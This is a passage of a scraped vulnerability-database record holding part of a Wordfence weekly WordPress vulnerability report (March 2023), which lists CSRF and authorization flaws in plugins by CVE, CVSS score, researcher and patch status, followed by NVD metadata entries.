\n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/2c02b9b2-b41e-4a30-b69a-9cdae86dd7a7>\n\n* * *\n\n#### [Real Estate Directory <= 1.0.5 - Cross-Site Request Forgery via rdm_activate_plugin](<https://wordfence.com/threat-intel/vulnerabilities/id/39a50c49-5c24-4ae7-8f77-4f3d98270f8f>)\n\n**Affected Software**: [Real Estate Directory](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/real-estate-directory>) \n**CVE ID**: CVE-2023-28532 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/39a50c49-5c24-4ae7-8f77-4f3d98270f8f>\n\n* * *\n\n#### [CP Multi View Event Calendar <= 1.4.10 - Missing Authentication leading to Authenticated (Subscriber+) Private Form Submission](<https://wordfence.com/threat-intel/vulnerabilities/id/49ebff14-ce09-4607-8246-50ae028957f6>)\n\n**Affected Software**: [Calendar Event Multi View](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cp-multi-view-calendar>) \n**CVE ID**: CVE-2023-28492 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/49ebff14-ce09-4607-8246-50ae028957f6>\n\n* * *\n\n#### [Customify <= 2.10.4 - Cross-Site Request Forgery to Settings Update](<https://wordfence.com/threat-intel/vulnerabilities/id/4b1c0ee5-5329-411c-8030-14bec586d74d>)\n\n**Affected Software**: [Customify \u2013 Intuitive Website Styling](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/customify>) \n**CVE ID**: CVE-2023-27633 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/4b1c0ee5-5329-411c-8030-14bec586d74d>\n\n* * *\n\n#### [Fluid Checkout for WooCommerce \u2013 Lite <= 2.3.1 - Cross-Site Request Forgery via dismiss_notice](<https://wordfence.com/threat-intel/vulnerabilities/id/5c8caf17-7844-4f26-b989-d29593b3ffda>)\n\n**Affected Software**: [Fluid Checkout for WooCommerce \u2013 Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluid-checkout>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/5c8caf17-7844-4f26-b989-d29593b3ffda>\n\n* * *\n\n#### [Website Monetization by MageNet <= 1.0.29.1 - Cross-Site Request Forgery via admin_magenet_settings](<https://wordfence.com/threat-intel/vulnerabilities/id/5f1f3562-f869-4442-b77f-c06c5683c1b2>)\n\n**Affected Software**: [Website Monetization by MageNet](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/website-monetization-by-magenet>) \n**CVE ID**: CVE-2023-22673 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/5f1f3562-f869-4442-b77f-c06c5683c1b2>\n\n* * *\n\n#### [Bulk Resize Media <= 1.1 - Cross-Site Request Forgery via bulk_resize_resize_image](<https://wordfence.com/threat-intel/vulnerabilities/id/605fbfb9-85d8-43ff-a738-ad1a8a9584c3>)\n\n**Affected Software**: [Bulk Resize Media](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bulk-resize-media>) \n**CVE ID**: CVE-2022-46865 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Cat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/cat>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/605fbfb9-85d8-43ff-a738-ad1a8a9584c3>\n\n* * *\n\n#### [Import External Images <= 1.4 - Cross-Site Request Forgery via [placeholder]](<https://wordfence.com/threat-intel/vulnerabilities/id/6785be1c-85d4-48f1-be15-275c71284b3e>)\n\n**Affected Software**: [Import External Images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/import-external-images>) \n**CVE ID**: CVE-2022-46866 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Cat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/cat>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/6785be1c-85d4-48f1-be15-275c71284b3e>\n\n* * *\n\n#### [Reusable Blocks Extended <= 0.9 - Cross-Site Request Forgery via reblex_reusable_screen_block_pattern_registration](<https://wordfence.com/threat-intel/vulnerabilities/id/67c2cac8-c3cf-46d1-a592-229081bc31e1>)\n\n**Affected Software**: [Reusable Blocks Extended](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/reusable-blocks-extended>) \n**CVE ID**: CVE-2023-27611 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/67c2cac8-c3cf-46d1-a592-229081bc31e1>\n\n* * *\n\n#### [WP Shortcode by MyThemeShop <= 1.4.16 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/763fec04-72c5-4910-af97-f58b5b69a02e>)\n\n**Affected Software**: [WP Shortcode by MyThemeShop](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-shortcode>) \n**CVE ID**: CVE-2023-28495 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/763fec04-72c5-4910-af97-f58b5b69a02e>\n\n* * *\n\n#### [WP Basic Elements <= 5.2.15 - Cross-Site Request Forgery via wpbe_save_settings](<https://wordfence.com/threat-intel/vulnerabilities/id/78e79423-7b69-4d85-a939-96eb5385624c>)\n\n**Affected Software**: [WP Basic Elements](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-basic-elements>) \n**CVE ID**: CVE-2022-47139 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/78e79423-7b69-4d85-a939-96eb5385624c>\n\n* * *\n\n#### [Dynamics 365 Integration <= 1.3.12 - Cross-Site Request Forgery via wp_ajax_wpcrm_log](<https://wordfence.com/threat-intel/vulnerabilities/id/7945110e-2a9d-4e0e-b0e8-77c16694993b>)\n\n**Affected Software**: [Dynamics 365 Integration](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7945110e-2a9d-4e0e-b0e8-77c16694993b>\n\n* * *\n\n#### [Hotel Booking Lite <= 4.6.0 - Cross-Site Request Forgery to Settings Update](<https://wordfence.com/threat-intel/vulnerabilities/id/7a874287-c648-4807-8387-b0b47187651e>)\n\n**Affected Software**: [Hotel Booking Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/motopress-hotel-booking-lite>) \n**CVE ID**: CVE-2023-28498 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7a874287-c648-4807-8387-b0b47187651e>\n\n* * *\n\n#### [CF7 Invisible reCAPTCHA <= 1.3.3 - Cross-Site Request Forgery via vsz_cf7_invisible_recaptcha_page](<https://wordfence.com/threat-intel/vulnerabilities/id/8fa1048e-bdcd-41d1-a7c4-196731a60843>)\n\n**Affected Software**: [CF7 Invisible reCAPTCHA](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-invisible-recaptcha>) \n**CVE ID**: CVE-2023-28167 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8fa1048e-bdcd-41d1-a7c4-196731a60843>\n\n* * *\n\n#### [HT Feed <= 1.2.7 - Cross-Site Request Forgery leading to Limited Plugin Activation](<https://wordfence.com/threat-intel/vulnerabilities/id/95723482-a6c5-4e95-a88d-c50a88108715>)\n\n**Affected Software**: [HT Feed](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ht-instagram>) \n**CVE ID**: CVE-2023-23804 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/95723482-a6c5-4e95-a88d-c50a88108715>\n\n* * *\n\n#### [Contact Form Email <= 1.3.31 - Missing Authorization to Feedback Submission](<https://wordfence.com/threat-intel/vulnerabilities/id/9596c243-4099-420a-aa2a-381b6299f927>)\n\n**Affected Software**: [Contact Form Email](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-to-email>) \n**CVE ID**: CVE-2023-28494 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/9596c243-4099-420a-aa2a-381b6299f927>\n\n* * *\n\n#### [Custom Options Plus <= 1.8.1 - Cross-Site Request Forgery via custom_options_plus_adm](<https://wordfence.com/threat-intel/vulnerabilities/id/97c8858a-f05d-4159-b914-4e6ae9bf0d79>)\n\n**Affected Software**: [Custom Options Plus](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-options-plus>) \n**CVE ID**: CVE-2023-28420 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Justiice](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/justiice>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/97c8858a-f05d-4159-b914-4e6ae9bf0d79>\n\n* * *\n\n#### [Store Locator <= 3.98.7 - Cross-Site Request Forgery to Settings Update](<https://wordfence.com/threat-intel/vulnerabilities/id/98ae3315-8361-43bb-be2c-1564f4df8d5b>)\n\n**Affected Software**: [Store Locator for WordPress with Google Maps \u2013 LotsOfLocales](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/store-locator>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/98ae3315-8361-43bb-be2c-1564f4df8d5b>\n\n* * *\n\n#### [Dynamics 365 Integration <= 1.3.12 - Cross-Site Request Forgery via wp_ajax_wpcrm_log_verbosity](<https://wordfence.com/threat-intel/vulnerabilities/id/98e0d103-2369-4c6a-93ae-6be2a1770bae>)\n\n**Affected Software**: [Dynamics 365 Integration](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/98e0d103-2369-4c6a-93ae-6be2a1770bae>\n\n* * *\n\n#### [Contact Form 7 Redirect & Thank You Page <= 1.0.3 - Cross-Site Request Forgery via cf7rl_admin_table](<https://wordfence.com/threat-intel/vulnerabilities/id/99f831f2-fb96-4dc8-ba3d-6015fbc7e2e1>)\n\n**Affected Software**: [Contact Form 7 Redirect & Thank You Page](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-redirect-thank-you-page>) \n**CVE ID**: CVE-2023-24395 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/99f831f2-fb96-4dc8-ba3d-6015fbc7e2e1>\n\n* * *\n\n#### [WP-Advanced-Search <= 3.3.8 - Cross-Site Request Forgery leading to Plugin Settings Updates](<https://wordfence.com/threat-intel/vulnerabilities/id/a2ba21cd-d8f3-402a-b067-1758937d9eb4>)\n\n**Affected Software**: [WordPress WP-Advanced-Search](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-advanced-search>) \n**CVE ID**: CVE-2022-47447 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/a2ba21cd-d8f3-402a-b067-1758937d9eb4>\n\n* * *\n\n#### [Event Manager for WooCommerce <= 3.7.7 - Cross-Site Request Forgery leading to Uninstall Form Submission](<https://wordfence.com/threat-intel/vulnerabilities/id/af59eb6d-1ffa-4593-9bfc-f910d907f6e0>)\n\n**Affected Software**: [Event Manager and Tickets Selling Plugin for WooCommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mage-eventpress>) \n**CVE ID**: CVE-2022-47164 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/af59eb6d-1ffa-4593-9bfc-f910d907f6e0>\n\n* * *\n\n#### [Contact Form 7 \u2013 PayPal & Stripe Add-on <= 1.9.3 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/c0c13b83-6885-46db-bf33-0b2b63ff06db>)\n\n**Affected Software**: [Contact Form 7 \u2013 PayPal & Stripe Add-on](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-7-paypal-add-on>) \n**CVE ID**: CVE-2023-24405 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c0c13b83-6885-46db-bf33-0b2b63ff06db>\n\n* * *\n\n#### [WP Basic Elements <= 5.2.15 - Missing Authorization to Plugin Settings Update via wpbe_save_settings](<https://wordfence.com/threat-intel/vulnerabilities/id/d6516fc0-4ef8-423b-9cdb-a275996fd98b>)\n\n**Affected Software**: [WP Basic Elements](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-basic-elements>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d6516fc0-4ef8-423b-9cdb-a275996fd98b>\n\n* * *\n\n#### [Print Invoice & Delivery Notes for WooCommerce <= 4.7.2 - Cross-Site Request Forgery via ts_reset_tracking_setting](<https://wordfence.com/threat-intel/vulnerabilities/id/d811782e-3b59-4a46-9a2e-f24ef3dfbd4a>)\n\n**Affected Software**: [Print Invoice & Delivery Notes for WooCommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-delivery-notes>) \n**CVE ID**: CVE-2022-46795 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Muhammad Daffa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/muhammad-daffa>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d811782e-3b59-4a46-9a2e-f24ef3dfbd4a>\n\n* * *\n\n#### [Chankhe <= 1.0.5 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Activation](<https://wordfence.com/threat-intel/vulnerabilities/id/efa4b67c-1bb8-413a-8cb8-039168b0b586>)\n\n**Affected Software**: [Chankhe](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/chankhe>) \n**CVE ID**: CVE-2023-28416 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/efa4b67c-1bb8-413a-8cb8-039168b0b586>\n\n* * *\n\n#### [Google XML Sitemap for Videos <= 2.6.1 - Cross-Site Request Forgery via video_sitemap_generate](<https://wordfence.com/threat-intel/vulnerabilities/id/feb4f3dc-9abf-4ee3-834e-e5516652d810>)\n\n**Affected Software**: [Google XML Sitemap for Videos](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/xml-sitemaps-for-videos>) \n**CVE ID**: CVE-2023-25055 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/feb4f3dc-9abf-4ee3-834e-e5516652d810>\n\n* * *\n\n_As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence._\n\nThis database is continuously updated, maintained, and populated by Wordfence\u2019s highly credentialed and experienced vulnerability researchers through in-house vulnerability research, vulnerability researchers submitting directly to us using our CVE Request form, and by monitoring varying sources to capture all publicly available WordPress vulnerability information and adding additional context where we can.\n\n[Click here to sign-up for our mailing list](<https://www.wordfence.com/subscribe-to-the-wordfence-email-list/>) to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.\n\nThe post [Wordfence Intelligence Weekly WordPress Vulnerability Report (Mar 13, 2023 to Mar 19, 2023)](<https://www.wordfence.com/blog/2023/03/wordfence-intelligence-weekly-wordpress-vulnerability-report-mar-13-2023-to-mar-19-2023/>) appeared first on [Wordfence](<https://www.wordfence.com>).", "published": "2023-03-23T13:52:54", "modified": "2023-03-23T13:52:54", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://www.wordfence.com/blog/2023/03/wordfence-intelligence-weekly-wordpress-vulnerability-report-mar-13-2023-to-mar-19-2023/", "reporter": "Ram Gall", "references": [], "cvelist": ["CVE-2022-44626", "CVE-2022-45065", "CVE-2022-45812", "CVE-2022-45835", "CVE-2022-46794", "CVE-2022-46795", "CVE-2022-46865", "CVE-2022-46866", "CVE-2022-47135", "CVE-2022-47138", "CVE-2022-47139", "CVE-2022-47164", "CVE-2022-47431", "CVE-2022-47434", "CVE-2022-47437", "CVE-2022-47445", "CVE-2022-47447", "CVE-2022-47597", "CVE-2023-0820", "CVE-2023-1124", "CVE-2023-1172", "CVE-2023-1372", "CVE-2023-1374", "CVE-2023-1377", "CVE-2023-1400", "CVE-2023-1431", "CVE-2023-1469", "CVE-2023-1470", "CVE-2023-1471", "CVE-2023-1472", "CVE-2023-22673", "CVE-2023-22710", "CVE-2023-23707", "CVE-2023-23804", "CVE-2023-23894", "CVE-2023-24376", "CVE-2023-24395", "CVE-2023-24405", "CVE-2023-24408", "CVE-2023-24420", "CVE-2023-25043", "CVE-2023-25052", "CVE-2023-25055", "CVE-2023-25452", "CVE-2023-25456", "CVE-2023-27611", "CVE-2023-27619", "CVE-2023-27620", "CVE-2023-27625", "CVE-2023-27633", "CVE-2023-27634", "CVE-2023-28165", "CVE-2023-28166", "CVE-2023-28167", "CVE-2023-28168", "CVE-2023-28169", "CVE-2023-28171", "CVE-2023-28172", "CVE-2023-28173", "CVE-2023-28416", "CVE-2023-28417", "CVE-2023-28418", "CVE-2023-28419", "CVE-2023-28420", "CVE-2023-28421", "CVE-2023-28423", "CVE-2023-28490", "CVE-2023-28491", "CVE-2023-28492", "CVE-2023-28493", "CVE-2023-28494", "CVE-2023-28495", "CVE-2023-28496", "CVE-2023-28497", "CVE-2023-28498", "CVE-2023-28499", "CVE-2023-28532", "CVE-2023-28534"], "immutableFields": [], "lastseen": "2023-04-09T02:22:34", "viewCount": 36, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2022-47431", "CVE-2023-0820", "CVE-2023-1124", "CVE-2023-1172", "CVE-2023-1372", "CVE-2023-1374", "CVE-2023-1377", "CVE-2023-1400", "CVE-2023-1431", "CVE-2023-1469", "CVE-2023-1470", "CVE-2023-1471", "CVE-2023-1472", "CVE-2023-23707", "CVE-2023-25456", "CVE-2023-27620"]}, {"type": "wpexploit", "idList": ["WPEX-ID:229B93CD-544B-4877-8D9F-E6DEBDA9511C", "WPEX-ID:2AE3C4F9-5CE7-47E9-B35C-0E5CABD3EF9C", "WPEX-ID:7F8E4A22-4349-483E-8071-07292AE96730", "WPEX-ID:B93D9F9D-0FD9-49B8-B465-D32B95351912", "WPEX-ID:C346FF80-C16B-4219-8983-708C64FA4A61", "WPEX-ID:C7FECEEF-28F1-4CAC-B124-4B95E3F17B07"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:2208921F-C5F5-463A-A819-8F1CC15B1CAB", "WPVDB-ID:229B93CD-544B-4877-8D9F-E6DEBDA9511C", "WPVDB-ID:2AE3C4F9-5CE7-47E9-B35C-0E5CABD3EF9C", "WPVDB-ID:33D53463-7E29-440E-9F30-9B7AB2C50A62", "WPVDB-ID:4F74BC64-E728-41E4-8C5C-5502CB5D7676", "WPVDB-ID:61001DB3-6183-43B3-976C-06C2D7991683", "WPVDB-ID:7F8E4A22-4349-483E-8071-07292AE96730", "WPVDB-ID:A3B3E8BD-CC07-4558-AA39-78491447CE4C", "WPVDB-ID:AD3DEA0F-896D-4303-88B6-8A485837334D", "WPVDB-ID:B93D9F9D-0FD9-49B8-B465-D32B95351912", "WPVDB-ID:BAA069C8-B830-49BE-9662-41222FF8B6A6", "WPVDB-ID:C346FF80-C16B-4219-8983-708C64FA4A61", "WPVDB-ID:C7FECEEF-28F1-4CAC-B124-4B95E3F17B07", "WPVDB-ID:D4F33F1B-5E2F-4D12-9B6A-059A6921C5CC", "WPVDB-ID:E8A30EB6-72CA-4469-83A7-041D6A1D9E96"]}]}, "epss": [{"cve": "CVE-2022-47431", "epss": 0.00046, "percentile": 0.13983, "modified": "2023-04-08"}, {"cve": "CVE-2023-0820", "epss": 0.00043, "percentile": 0.07022, "modified": "2023-04-08"}, {"cve": "CVE-2023-1124", "epss": 0.00044, "percentile": 0.08501, "modified": "2023-04-08"}, {"cve": "CVE-2023-1172", "epss": 0.00052, "percentile": 0.18466, "modified": "2023-04-08"}, {"cve": "CVE-2023-1372", "epss": 0.00052, "percentile": 0.1852, "modified": "2023-04-08"}, {"cve": "CVE-2023-1374", "epss": 0.00051, "percentile": 0.1774, "modified": "2023-04-08"}, {"cve": "CVE-2023-1377", "epss": 0.00043, "percentile": 0.07022, "modified": "2023-04-08"}, {"cve": "CVE-2023-1400", "epss": 0.00045, "percentile": 0.11914, "modified": "2023-04-08"}, {"cve": "CVE-2023-1431", "epss": 0.00052, "percentile": 0.18466, "modified": "2023-04-08"}, {"cve": "CVE-2023-1469", "epss": 0.00045, "percentile": 0.11914, "modified": "2023-04-08"}, {"cve": "CVE-2023-1470", "epss": 0.00045, "percentile": 0.11914, "modified": "2023-04-08"}, {"cve": "CVE-2023-1471", "epss": 0.00064, "percentile": 0.2621, "modified": "2023-04-08"}, {"cve": "CVE-2023-1472", "epss": 0.00052, "percentile": 0.18466, "modified": "2023-04-08"}, {"cve": "CVE-2023-23707", "epss": 0.00045, "percentile": 0.11914, "modified": "2023-04-08"}, {"cve": "CVE-2023-25456", "epss": 0.00045, "percentile": 0.11914, "modified": "2023-04-08"}, {"cve": "CVE-2023-27620", "epss": 0.00043, "percentile": 0.07022, "modified": "2023-04-08"}], "score": {"value": 8.1, "vector": "NONE"}, "vulnersScore": 8.1}, "_state": {"dependencies": 1681007859, "score": 1684018209, "epss": 1681008567}, "_internal": {"score_hash": "e0eced677496da2b34ff53ab204495bb"}}
{"cve": [{"lastseen": "2023-07-24T00:41:48", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Klaviyo, Inc. Klaviyo plugin <= 3.0.7 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-23T17:15:00", "type": "cve", "title": "CVE-2023-25456", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25456"], "modified": "2023-03-27T17:16:00", "cpe": ["cpe:/a:klaviyo:klaviyo:3.0.7"], "id": "CVE-2023-25456", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-25456", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:klaviyo:klaviyo:3.0.7:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-07T14:46:38", "description": "Cross-Site Request Forgery (CSRF) vulnerability in MagePeople Team Event Manager and Tickets Selling Plugin for WooCommerce plugin <=\u00a03.7.7 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "cve", "title": "CVE-2022-47164", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47164"], "modified": "2023-05-30T20:55:00", "cpe": ["cpe:/a:mage-people:event_manager_and_tickets_selling_plugin_for_woocommerce:3.7.7"], "id": "CVE-2022-47164", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47164", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:mage-people:event_manager_and_tickets_selling_plugin_for_woocommerce:3.7.7:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-03T15:14:39", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Branko Borilovic WSB Brands plugin <=\u00a01.1.8 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", 